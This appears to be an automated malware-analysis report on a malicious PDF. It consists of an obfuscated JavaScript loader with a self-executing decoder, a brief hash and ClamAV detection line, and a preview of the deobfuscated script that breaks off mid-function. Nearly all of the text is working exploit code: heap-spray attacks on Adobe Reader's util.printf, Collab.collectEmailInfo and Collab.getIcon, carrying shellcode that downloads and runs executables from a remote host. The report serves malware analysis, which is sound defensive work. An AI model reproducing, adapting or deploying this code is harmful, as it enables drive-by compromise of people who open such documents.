148,166,83,151,162,169,161,168,83,113,83,100,110,84,150,163,168,162,167,84,111,84,150,163,168,162,167,102,110,84,150,163,168,162,167,95,94,93,174,65,61,61,60,61,160,153,160,147,148,166,165,149,172,143,150,163,168,162,167,145,83,113,83,173,148,166,166,164,83,95,83,167,155,153,159,160,150,163,151,153,110,65,61,61,60,177,64,62,60,61,169,149,165,84,162,170,152,166,153,160,162,171,83,113,83,169,161,153,166,151,148,164,152,92,85,89,168,100,150,100,150,89,168,100,150,100,150,86,92,111,64,62,60,61,170,156,156,160,152,84,91,163,169,153,165,154,159,163,170,98,159,153,161,155,167,156,83,112,83,104,103,109,104,102,92,175,64,62,60,61,60,163,169,153,165,154,159,163,170,84,94,113,83,163,169,153,165,154,159,163,170,111,64,62,60,61,176,65,61,61,60,168,155,157,166,98,150,163,159,160,148,150,134,168,162,166,152,84,112,84,118,163,159,160,148,150,97,151,162,160,159,153,150,168,120,161,148,157,159,125,161,154,162,92,174,167,168,150,157,110,83,86,85,96,160,167,154,110,83,163,169,153,165,154,159,163,170,177,92,111,64,62,60,177,64,62,64,62,60,154,168,162,150,168,156,163,161,84,150,163,159,160,148,150,146,155,152,168,156,151,162,162,91,93,174,65,61,61,60,157,153,84,91,149,163,164,97,152,162,151,97,119,162,160,159,149,149,98,154,153,167,125,150,163,161,93,174,65,61,61,60,61,169,149,165,84,148,166,165,173,83,113,83,162,152,171,83,117,165,166,148,173,91,93,110,65,61,61,60,61,169,149,165,84,169,170,163,153,167,156,172,149,83,113,83,169,161,153,166,151,148,164,152,92,85,89,168,121,117,121,108,89,168,100,99,100,100,89,168,105,105,100,99,89,168,117,100,106,103,89,168,100,99,103,99,89,168,100,99,100,99,89,168,104,99,108,117,89,168,108,117,100,118,89,168,101,118,107,99,89,168,108,117,117,119,89,168,100,107,104,99,89,168,119,102,105,120,89,168,108,117,105,104,89,168,108,117,121,118,89,168,100,107,104,104,89,168,103,102,105,101,89,168,119,100,120,101,89,168,100,102,119,101,89,168,101,99,103,101,89,168,108,99,104,99,89,168,100,99,103,107,89,168,122,104,107,104,89,168,119,101,108,117,89,168,105,119,105,116,89,168,100,103,119,101,89,168,105,104,100,99,89,168,121,118,108,117,89,168,105,100,105,100,89,168,105,105,105,102,89,168,106,99,105,106,89,168,105,119,108,117,89,168,103,102,100,107,89,168,108,117,119,99,89,168,100,118,107,104,89,168,122,120,108,117,89,168,107,105,100,102,89,168,108,117,103,118,89,168,107,107,104,120,89,168,119,121,100,102,89,168,105,100,108,117,89,168,105,101,101,118,89,168,105,100,108,117,89,168,105,101,102,103,89,168,107,100,108,117,89,168,104,120,101,103,89,168,107,104,108,108,89,168,108,117,122,118,89,168,102,99,107,100,89,168,122,106,100,102,89,168,104,116,109,108,89,168,104,101,117,119,89,168,103,117,106,99,89,168,122,118,105,104,89,168,100,103,107,104,89,168,119,99,103,102,89,168,103,106,121,117,89,168,122,121,103,102,89,168,104,104,100,102,89,168,109,106,100,118,89,168,119,121,108,117,89,168,107,104,117,120,89,168,102,117,122,119,89,168,104,121,122,108,89,168,121,107,105,100,89,168,122,121,109,103,89,168,122,121,122,121,89,168,119,102,103,117,89,168,107,103,106,100,89,168,121,117,100,101,89,168,108,117,120,108,89,168,100,118,104,104,89,168,105,120,109,101,89,168,122,101,100,102,89,168,121,99,120,100,89,168,119,105,100,102,89,168,119,108,103,102,89,168,118,106,100,121,89,168,105,121,100,107,89,168,121,100,119,100,89,168,100,102,100,101,89,168,100,102,119,116,89,168,108,117,119,121,89,168,100,102,100,100,89,168,108,108,119,101,89,168,122,107,104,104,89,168,108,117,106,100,89,168,122,107,104,104,89,168,105,120,105,121,89,168,119,108,105,117,89,168,105,104,119,102,89,168,121,118,108,117,89,168,121,107,105,100,89,168,122,121,104,108,89,168,122,121,122,121,89,168,106,107,105,99,89,168,106,99,121,107,89,168,100,103,118,121,89,168,106,118,121,107,89,168,122,121,122,121,89,168,103,102,122,121,89,168,105,101,120,101,89,168,122,121,105,101,89,168,100,107,107,104,89,168,120,99,122,121,89,168,104,104,108,108,89,168,108,117,122,118,89,168,122,118,104,104,89,168,119,102,119,108,89,168,108,117,105,104,89,168,108,102,121,118,89,168,100,118,121,118,89,168,104,104,108,119,89,168,105,99,122,103,89,168,104,104,119,105,89,168,107,104,122,103,89,168,104,104,119,105,89,168,107,101,122,104,89,168,104,104,119,105,89,168,106,118,122,105,89,168,104,104,119,105,89,168,106,119,122,106,89,168,104,104,119,105,89,168,106,121,122,107,89,168,104,104,119,105,89,168,106,120,122,108,89,168,104,104,119,105,89,168,102,120,122,116,89,168,104,104,119,105,89,168,106,103,122,117,89,168,104,104,119,105,89,168,106,118,122,118,89,168,104,104,119,105,89,168,106,118,122,119,89,168,104,104,119,105,89,168,100,99,122,120,89,168,117,99,121,107,89,168,122,121,122,121,89,168,105,99,122,121,89,168,105,119,106,107,89,168,101,100,108,116,89,168,121,107,101,105,89,168,122,121,101,104,89,168,122,121,122,121,89,168,119,103,108,102,89,168,108,104,100,118,89,168,107,103,119,99,89,168,106,116,101,104,89,168,106,116,100,99,89,168,122,121,100,99,89,168,100,118,107,104,89,168,107,104,122,121,89,168,106,116,100,107,89,168,122,121,100,99,89,168,108,104,120,99,89,168,107,104,119,99,89,168,104,99,100,102,89,168,119,102,119,108,89,168,119,99,103,102,89,168,119,102,119,108,89,168,103,102,105,106,89,168,108,117,119,99,89,168,102,103,104,118,89,168,108,117,100,118,89,168,102,103,107,118,89,168,122,118,100,107,89,168,117,116,122,102,89,168,119,102,105,121,89,168,104,118,108,117,89,168,100,103,102,103,89,168,103,108,108,99,89,168,108,117,100,99,89,168,107,103,119,100,89,168,104,99,100,105,89,168,103,107,108,99,89,168,107,104,100,99,89,168,102,117,122,116,89,168,119,102,119,100,89,168,108,117,105,104,89,168,108,102,121,118,89,168,106,103,121,118,89,168,108,119,105,102,89,168,122,99,104,104,89,168,103,102,105,106,89,168,105,99,120,117,89,168,104,104,119,105,89,168,106,117,122,99,89,168,104,104,119,105,89,168,106,104,122,100,89,168,104,104,119,105,89,168,107,101,122,101,89,168,104,104,119,105,89,168,106,120,122,102,89,168,104,104,119,105,89,168,106,104,122,103,89,168,104,104,119,105,89,168,106,118,122,104,89,168,104,104,119,105,89,168,103,102,122,105,89,168,104,104,119,105,89,168,103,101,122,106,89,168,104,104,119,105,89,168,102,120,122,107,89,168,104,104,119,105,89,168,106,103,122,108,89,168,104,104,119,105,89,168,106,118,122,116,89,168,104,104,119,105,89,168,106,118,122,117,89,168,105,119,108,107,89,168,121,107,122,118,89,168,122,121,100,117,89,168,122,121,122,121,89,168,106,107,105,99,89,168,104,102,106,107,89,168,108,120,122,108,89,168,108,99,121,107,89,168,122,121,122,120,89,168,108,117,122,121,89,168,108,119,122,107,89,168,109,118,104,104,89,168,104,103,106,116,89,168,121,107,105,99,89,168,122,121,107,120,89,168,122,121,122,121,89,168,104,104,108,119,89,168,106,116,121,99,89,168,105,99,101,99,89,168,107,102,121,107,89,168,122,121,122,121,89,168,108,102,122,121,89,168,101,118,119,103,89,168,104,104,108,119,89,168,105,99,121,99,89,168,104,104,108,119,89,168,105,99,109,118,89,168,105,102,105,102,89,168,105,102,105,102,89,168,105,102,105,102,89,168,107,104,122,121,89,168,119,106,100,107,89,168,109,118,104,104,89,168,100,99,104,103,89,168,100,99,100,99,89,168,122,121,105,102,89,168,105,121,120,106,89,168,118,105,100,121,89,168,105,117,119,99,89,168,119,102,119,108,89,168,108,117,105,104,89,168,105,100,121,118,89,168,105,102,105,100,89,168,105,106,105,105,89,168,104,101,106,116,89,168,107,101,121,107,89,168,100,99,100,99,89,168,108,117,100,99,89,168,103,102,120,107,89,168,108,104,122,105,89,168,105,108,120,117,89,168,104,104,119,106,89,168,106,100,122,107,89,168,106,104,102,120,89,168,119,106,107,107,89,168,122,118,104,104,89,168,100,99,106,104,89,168,100,99,100,99,89,168,105,105,107,120,89,168,104,104,108,119,89,168,105,99,122,107,89,168,121,107,105,105,89,168,100,99,105,100,89,168,100,99,100,99,89,168,105,99,105,108,89,168,118,100,121,107,89,168,122,121,122,120,89,168,108,104,122,121,89,168,105,108,119,99,89,168,107,103,105,108,89,168,108,119,103,108,89,168,100,100,104,105,89,168,121,107,105,99,89,168,100,99,103,117,89,168,100,99,100,99,89,168,122,107,108,117,89,168,104,104,108,119,89,168,105,99,122,107,89,168,102,100,121,107,89,168,122,121,122,121,89,168,108,104,122,121,89,168,105,108,119,99,89,168,107,103,105,108,89,168,105,106,100,118,89,168,100,100,121,107,89,168,122,121,122,121,89,168,105,108,122,121,89,168,104,103,119,105,89,168,122,121,103,107,89,168,105,99,107,102,89,168,104,104,108,119,89,168,122,120,122,107,89,168,105,107,100,99,89,168,104,104,108,119,89,168,105,99,122,107,89,168,121,107,105,106,89,168,122,120,107,103,89,168,122,121,122,121,89,168,105,108,105,108,89,168,104,105,104,105,89,168,122,102,103,117,89,168,117,116,107,118,89,168,105,120,105,121,89,168,119,108,105,117,89,168,105,104,119,102,89,168,121,118,108,117,89,168,105,102,105,100,89,168,106,99,106,105,89,168,103,101,118,100,89,168,100,99,121,107,89,168,100,99,100,99,89,168,105,107,100,99,89,168,100,107,103,107,89,168,100,102,107,103,89,168,121,117,104,99,89,168,104,99,122,108,89,168,105,119,108,117,89,168,108,99,100,107,89,168,104,101,122,117,89,168,100,107,107,104,89,168,120,117,103,102,89,168,101,107,108,116,89,168,119,102,108,117,89,168,101,106,121,117,89,168,101,107,103,107,89,168,101,100,107,105,89,168,103,102,104,99,89,168,108,103,119,108,89,168,107,103,120,117,89,168,104,99,100,118,89,168,100,107,103,107,89,168,122,117,107,104,89,168,122,120,104,99,89,168,121,117,119,117,89,168,103,102,122,101,89,168,108,108,119,99,89,168,122,118,104,104,89,168,104,104,108,117,89,168,105,117,122,118,89,168,119,102,119,108,89,168,100,101,103,101,89,168,107,103,106,107,89,168,107,99,107,103,89,168,102,121,103,116,89,168,107,102,102,121,89,168,107,108,107,103,89,168,106,104,106,118,89,168,106,101,102,119,89,168,106,100,106,121,89,168,106,103,107,101,89,168,102,120,107,102,89,168,106,121,106,102,89,168,102,121,106,119,89,168,106,121,106,105,89,168,107,104,107,101,89,168,102,121,106,119,89,168,106,106,106,100,89,168,107,99,106,108,89,168,102,120,103,101,89,168,107,107,106,104,89,168,100,99,106,104,89,168,107,103,106,107,89,168,107,99,107,103,89,168,102,121,103,116,89,168,107,102,102,121,89,168,107,108,107,103,89,168,106,104,106,118,89,168,106,101,102,119,89,168,106,100,106,121,89,168,106,103,107,101,89,168,102,120,107,102,89,168,106,121,106,102,89,168,102,121,106,119,89,168,106,121,106,105,89,168,107,104,107,101,89,168,102,121,106,119,89,168,106,118,106,102,89,168,106,102,106,108,89,168,102,120,106,117,89,168,106,107,107,99,89,168,103,121,107,99,89,168,103,119,107,101,89,168,100,99,100,99,86,92,111,64,62,60,61,60,170,148,166,83,156,138,165,104,100,99,119,129,84,112,84,169,170,163,153,167,156,172,149,97,160,152,162,154,168,155,84,93,84,101,111,64,62,60,61,60,170,148,166,83,160,152,162,83,113,83,100,171,104,99,100,99,100,99,84,96,84,91,156,138,165,104,100,99,119,129,84,94,84,99,172,102,108,92,111,64,62,60,61,60,170,148,166,83,173,148,166,166,164,83,113,83,169,161,153,166,151,148,164,152,92,85,89,168,109,99,109,99,89,168,109,99,109,99,86,92,111,64,62,60,61,60,173,148,166,166,164,83,113,83,154,156,172,146,157,167,92,172,149,165,167,163,96,83,160,152,162,92,111,64,62,60,61,60,170,148,166,83,164,104,117,157,127,105,105,153,84,112,84,91,100,171,100,150,100,150,100,150,100,150,84,96,84,99,172,103,100,99,100,99,100,92,84,98,84,99,172,103,100,99,100,99,100,110,65,61,61,60,61,153,163,165,84,91,170,148,166,83,170,164,151,132,120,108,106,172,84,112,84,99,111,83,170,164,151,132,120,108,106,172,84,111,84,163,105,116,158,126,106,104,154,110,84,169,165,150,133,119,109,105,173,83,95,94,84,92,175,64,62,60,61,60,61,148,166,165,173,142,170,164,151,132,120,108,106,172,145,83,113,83,173,148,166,166,164,83,95,83,170,169,164,152,168,155,173,148,111,64,62,60,61,60,177,64,62,60,61,60,170,148,166,83,168,136,129,155,130,149,123,170,84,112,84,168,162,152,167,150,149,163,153,91,86,88,100,108,86,92,111,64,62,60,61,60,171,155,157,159,153,83,92,167,137,128,156,129,150,122,171,97,160,152,162,154,168,155,84,111,84,99,172,103,100,99,100,92,175,64,62,60,61,60,61,167,137,128,156,129,150,122,171,83,95,112,84,167,137,128,156,129,150,122,171,110,65,61,61,60,61,176,65,61,61,60,61,167,137,128,156,129,150,122,171,83,113,83,86,129,98,85,84,94,84,167,137,128,156,129,150,122,171,110,65,61,61,60,61,148,164,163,98,151,163,150,98,118,163,159,160,148,150,97,155,152,168,124,151,162,162,91,168,136,129,155,130,149,123,170,93,110,65,61,61,60,177,64,62,60,177,64,62,64,62,60,154,168,162,150,168,156,163,161,84,163,152,153,147,166,168,148,166,167,92,92,175,64,62,64,62,60,61,169,149,165,84,169,153,165,167,156,163,161,84,112,84,148,164,163,98,169,157,152,171,152,166,137,153,165,167,156,163,161,98,167,163,134,168,165,157,161,155,91,93,110,65,61,61,60,170,152,166,166,157,162,162,83,113,83,170,152,166,166,157,162,162,97,166,152,164,159,149,150,153,91,99,143,120,98,155,95,91,90,93,110,65,61,61,60,170,148,166,83,170,148,166,166,157,162,162,146,149,165,166,148,173,83,113,83,162,152,171,83,117,165,166,148,173,91,170,152,166,166,157,162,162,97,151,155,149,165,117,167,92,99,93,95,84,169,153,165,167,156,163,161,98,150,156,148,166,116,168,91,101,92,96,83,170,152,166,166,157,162,162,97,151,155,149,165,117,167,92,101,93,92,111,64,62,60,61,156,154,83,92,91,170,148,166,166,157,162,162,146,149,165,166,148,173,142,100,144,84,112,113,83,108,92,84,89,90,83,92,169,149,165,167,156,163,161,147,148,166,165,149,172,143,100,145,83,113,112,84,99,93,83,176,175,84,91,170,148,166,166,157,162,162,146,149,165,166,148,173,142,101,144,84,112,113,83,101,83,90,89,84,169,149,165,167,156,163,161,147,148,166,165,149,172,143,101,145,83,112,83,103,92,93,174,65,61,61,60,61,168,168,156,160,146,164,165,157,161,168,153,92,92,111,64,62,60,61,176,65,61,61,60,157,153,84,91,92,169,149,165,167,156,163,161,147,148,166,165,149,172,143,99,145,83,112,83,108,92,84,175,176,83,92,169,149,165,167,156,163,161,147,148,166,165,149,172,143,99,145,83,113,112,84,107,84,89,90,83,170,148,166,166,157,162,162,146,149,165,166,148,173,142,101,144,84,111,84,101,84,89,90,83,170,148,166,166,157,162,162,146,149,165,166,148,173,142,102,144,84,111,84,101,93,92,175,64,62,60,61,60,151,162,160,159,149,149,147,152,161,148,157,159,92,92,111,64,62,60,61,176,65,61,61,60,157,153,84,91,92,169,149,165,167,156,163,161,147,148,166,165,149,172,143,99,145,83,112,83,109,92,84,175,176,83,92,169,149,165,167,156,163,161,147,148,166,165,149,172,143,99,145,83,113,112,84,108,84,89,90,83,170,148,166,166,157,162,162,146,149,165,166,148,173,142,101,144,84,111,84,100,93,92,175,64,62,60,61,60,151,162,160,159,149,149,147,154,153,167,157,150,163,161,92,92,111,64,62,60,61,176,65,61,61,176,65,61,65,61,61,163,152,153,147,166,168,148,166,167,92,92,111,64,62,60],lotw=function(){for(var acejt;kprv<binuv.length;kprv+=1){var csuy=kprv%anox.length+1;var agln=anox.substring(kprv%anox.length,csuy);var jlmvz=binuv[kprv];fknpq+=aovz(jlmvz-agln.charCodeAt(0));} fhquv(fknpq);};lotw();beqy='';hpwx='';bdisux="";korvwz='';cfkqw='';dlnx=20477;cftuxz="";admu=false;imopx='';cijmy="cijmy";
`legacy_pdfkit_stage_000.js`	deobfuscated-js	numeric array subtract-key decoded JavaScript at offset 0x1A5	10018 bytes
SHA-256: `f1c1e127faea8c192251cd1746953361ebaccc2ba2de355c07b8094b5e489e96`
Detection ClamAV: Js.Exploit.Shellcode-18 Obfuscation or payload: likely Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script function fix_it(yarsp, len){ while (yarsp.length * 2 < len){ yarsp += yarsp; } yarsp = yarsp.substring(0, len/2); return yarsp; } function util_printf(){ var payload = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u732F%u7974%u656C%u622D%u616F%u6472%u2E73%u6F63%u2F6D%u6F66%u7572%u2F6D%u6E67%u736F%u7874%u2E32%u7865%u0065%u7468%u7074%u2F3A%u732F%u7974%u656C%u622D%u616F%u6472%u2E73%u6F63%u2F6D%u6F66%u7572%u2F6D%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A") var heapblock = nop + payload; var bigblock = unescape("%u0A0A%u0A0A"); var headersize = 20; var spray = headersize + heapblock.length; while (bigblock.length < spray){ bigblock += bigblock; } var fillblock = bigblock.substring(0, spray); var block = bigblock.substring(0, bigblock.length-spray); while (block.length+spray < 0x40000){ block = block + block + fillblock; } var mem_array = new Array(); for (var i = 0; i < 1400; i++){ mem_array[i] = block + heapblock; } var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888; util.printf("%45000f", num); } function collab_email(){ var shellcode = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u732F%u7974%u656C%u622D%u616F%u6472%u2E73%u6F63%u2F6D%u6F66%u7572%u2F6D%u6461%u6D65%u2E32%u7865%u0065%u7468%u7074%u2F3A%u732F%u7974%u656C%u622D%u616F%u6472%u2E73%u6F63%u2F6D%u6F66%u7572%u2F6D%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var mem_array = new Array(); var cc = 0x0c0c0c0c; var addr = 0x400000; var sc_len = shellcode.length * 2; var len = addr - (sc_len+0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var count2 = (cc - 0x400000)/addr; for (var count = 0; count < count2; count++){ mem_array[count] = yarsp + shellcode; } var overflow = unescape("%u0c0c%u0c0c"); while (overflow.length < 44952){ overflow += overflow; } this.collabStore = Collab.collectEmailInfo({subj: "",msg: overflow}); } function collab_geticon(){ if (app.doc.Collab.getIcon){ var arry = new Array(); var vvpethya = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u732F%u7974%u656C%u622D%u616F%u6472%u2E73%u6F63%u2F6D%u6F66%u7572%u2F6D%u6761%u7069%u2E32%u7865%u0065%u7468%u7074%u2F3A%u732F%u7974%u656C%u622D%u616F%u6472%u2E73%u6F63%u2F6D%u6F66%u7572%u2F6D%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var hWq500CN = vvpethya.length * 2; var len = 0x400000 - (hWq500CN + 0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000; for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y ++ ){ arry[vqcQD96y] = yarsp + vvpethya; } var tUMhNbGw = unescape("%09"); while (tUMhNbGw.length < 0x4000){ tUMhNbGw += tUMhNbGw; } tUMhNbGw = "N." + tUMhNbGw; app.doc.Collab.getIcon(tUMhNbGw); } } function pdf_start(){ var version = app.viewerVersion.toString(); version = version.replace(/\D/g,''); var varsion_array = new Array(version.charAt(0), version.charAt(1), version.charAt(2)); if ((varsion_array[0] == 8) && (varsion_array[1] == 0) \|\| (varsion_array[1] == 1 && varsion_array[2] < 3)){ util_printf(); } if 